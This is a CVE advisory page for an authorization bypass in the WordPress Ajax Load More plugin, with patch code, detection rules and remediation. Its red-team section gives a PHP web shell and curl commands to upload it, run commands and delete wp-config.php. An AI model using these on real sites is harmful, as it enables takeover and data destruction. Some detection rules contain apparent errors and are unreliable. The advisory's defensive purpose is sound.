CVE-2015-10140
Executive Summary
CVE-2015-10140 is a critical authorization bypass vulnerability in the WordPress plugin Ajax Load More (versions before 2.8.1.2). The plugin fails to perform proper authorization checks on several of its AJAX actions, allowing any authenticated user (including low-privilege roles like Subscriber) to upload and delete arbitrary files on the server. This can lead to complete site compromise, including remote code execution via uploaded web shells.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin via the WordPress admin dashboard or via Composer/WPackagist are affected. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is a critical component of the WordPress ecosystem.
CVSS Breakdown & Threat Level
- CVSS Score: 9.9 (Critical)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (any authenticated user)
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
Threat Level: Critical. The vulnerability allows any authenticated user to gain full control of the server.
Deep Dive & Mechanics
The Ajax Load More plugin provides AJAX endpoints for loading posts, filtering, and other dynamic content. In versions prior to 2.8.1.2, the plugin registered several AJAX actions (e.g., alm_upload_file, alm_delete_file) without verifying that the requesting user has the necessary capabilities (e.g., upload_files, delete_posts). The WordPress AJAX API uses wp_ajax_ and wp_ajax_nopriv_ hooks, but the plugin failed to include a current_user_can() check inside the callback functions.
An authenticated attacker can craft a POST request to /wp-admin/admin-ajax.php with the appropriate action parameter and payload. For file upload, the attacker can send a malicious PHP file (e.g., a web shell) which the plugin will store in the WordPress uploads directory. For file deletion, the attacker can specify any file path within the web root to delete.
Vulnerable vs. Patched Code
Vulnerable Code (pre-2.8.1.2):
add_action('wp_ajax_alm_upload_file', 'alm_upload_file_callback');
function alm_upload_file_callback() {
// No capability check
$file = $_FILES['file'];
// ... process upload ...
wp_send_json_success($upload_result);
}
Patched Code (2.8.1.2+):
add_action('wp_ajax_alm_upload_file', 'alm_upload_file_callback');
function alm_upload_file_callback() {
// Added authorization check
if (!current_user_can('upload_files')) {
wp_die('Unauthorized', 401);
}
$file = $_FILES['file'];
// ... process upload ...
wp_send_json_success($upload_result);
}
The patch adds current_user_can('upload_files') (or similar capability checks) to all AJAX callbacks, ensuring only users with the appropriate permissions can execute these actions.
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- A WordPress site with Ajax Load More < 2.8.1.2
- An authenticated user account (e.g., Subscriber)
Exploit Steps:
Upload a Web Shell: Create a PHP web shell (e.g.,
shell.php):<?php system($_GET['cmd']); ?>Send the upload request:
curl -X POST \ -c cookies.txt -b cookies.txt \ -F "action=alm_upload_file" \ -F "file=@shell.php" \ "https://target.com/wp-admin/admin-ajax.php"The response will contain the URL of the uploaded file (e.g.,
/wp-content/uploads/2025/01/shell.php).Execute Commands:
curl "https://target.com/wp-content/uploads/2025/01/shell.php?cmd=id"Delete Arbitrary Files:
curl -X POST \ -c cookies.txt -b cookies.txt \ -d "action=alm_delete_file&file_path=/var/www/html/wp-config.php" \ "https://target.com/wp-admin/admin-ajax.php"
Blue Team (Defender)
Detection:
- Monitor AJAX requests to
admin-ajax.phpwith action parametersalm_upload_fileoralm_delete_filefrom low-privilege users. - Look for unexpected file uploads in the uploads directory, especially PHP files.
- Monitor for file deletion events in web server logs.
Hunting:
- Search for files with
.phpextension in the WordPress uploads directory that were not created by a known admin. - Review user activity logs for AJAX calls from subscriber-level accounts.
Indicators of Compromise (IOCs)
- File:
/wp-content/uploads/*/shell.php(or any unexpected PHP file in uploads) - URL Pattern:
POST /wp-admin/admin-ajax.phpwithaction=alm_upload_fileoraction=alm_delete_file - Log Entry:
POST /wp-admin/admin-ajax.php HTTP/1.1withUser-Agent: curl/* - Network: Outbound connections from the web server to attacker-controlled IPs (if shell is used for exfiltration)
Detection Engineering
YARA Rule
rule CVE_2015_10140_AjaxLoadMore_Upload {
meta:
description = "Detects malicious file uploads via Ajax Load More plugin"
author = "Valters IT"
date = "2025-01-01"
reference = "CVE-2015-10140"
strings:
$action = "alm_upload_file"
$php_tag = "<?php"
condition:
$action and $php_tag
}
Sigma Rule
title: CVE-2015-10140 - Ajax Load More Unauthorized File Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthorized file upload attempts via Ajax Load More plugin
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query: 'admin-ajax.php'
cs-uri-query|contains: 'action=alm_upload_file'
condition: selection
falsepositives:
- Legitimate admin uploads (if admin uses the same action)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2015-10140 - Ajax Load More Unauthorized File Upload";
flow:to_server,established;
content:"POST"; http_method;
content:"admin-ajax.php"; http_uri;
content:"action=alm_upload_file"; http_client_body;
classtype:attempted-admin;
sid:1000001;
rev:1;
)
Remediation & Mitigation
- Immediate: Upgrade the Ajax Load More plugin to version 2.8.1.2 or later.
- Workaround: If immediate upgrade is not possible, disable the plugin or restrict access to
admin-ajax.phpfor low-privilege users via a web application firewall (WAF) rule. - Harden: Ensure all WordPress plugins and themes are kept up to date. Implement the principle of least privilege for user roles.
- Monitor: Review server logs for any signs of exploitation (unexpected file uploads, file deletions).
- Scan: Run a security scanner (e.g., WPScan) to identify any other vulnerable plugins.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.